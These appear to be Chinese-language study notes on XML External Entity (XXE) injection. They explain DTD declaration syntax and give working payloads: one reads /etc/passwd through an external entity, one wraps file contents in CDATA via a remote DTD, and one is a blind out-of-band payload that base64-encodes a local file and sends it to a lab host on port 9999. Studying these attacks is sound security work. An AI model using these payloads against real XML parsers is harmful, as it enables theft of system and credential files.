DOCTYPE(DTD的声明)
ENTITY(实体的声明)
SYSTEM、PUBLIC(外部资源申请)
1.内部声明DTD:
<!DOCTYPE 根元素 [元素声明]>
2.引用外部DTD:
<!DOCTYPE 根元素 SYSTEM "文件名">
3.内外部DTD文档结合:
<!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>
敏感文件读取
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ENTITY admin SYSTEM "file:///etc/passwd">
#<!ENTITY admin SYSTEM "file:///c:/hello.txt">
]>
<root><name>&admin;</name><password>password</password></root>
当读取的目标文件内容有&,<,>
时,解析器会把内容进行解析从而报错
有些内容可能不想让解析引擎解析执行,而是当做原始的内容处理,用于把整段数据解析为纯字符数据而不是标记的情况包含大量的 <> & 或者
" 字符,CDATA节中的所有字符都会被当做元素字符数据的常量部分,而不是 xml标记
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE z [
<!ENTITY % start "<![CDATA[">
<!ENTITY % a SYSTEM "file:///c:/hello.txt">
<!ENTITY % b "]]>">
<!ENTITY % c SYSTEM "http://192.168.133.206/xxe_evil.dtd">
%c; ]>
<user><username>&xxe;</username><password>admin</password></user>
evil.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY xxe "%start;%a;%b;">
Blind OOB XXE 无回显读取敏感文件
payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE z [
<!ENTITY % all SYSTEM "http://192.168.133.206/xxe_oob.dtd">
%all;%int;%send;
]>
其中的xxe_oob.dtd
内容是:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/hello.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.133.206:9999?p=%file;'>">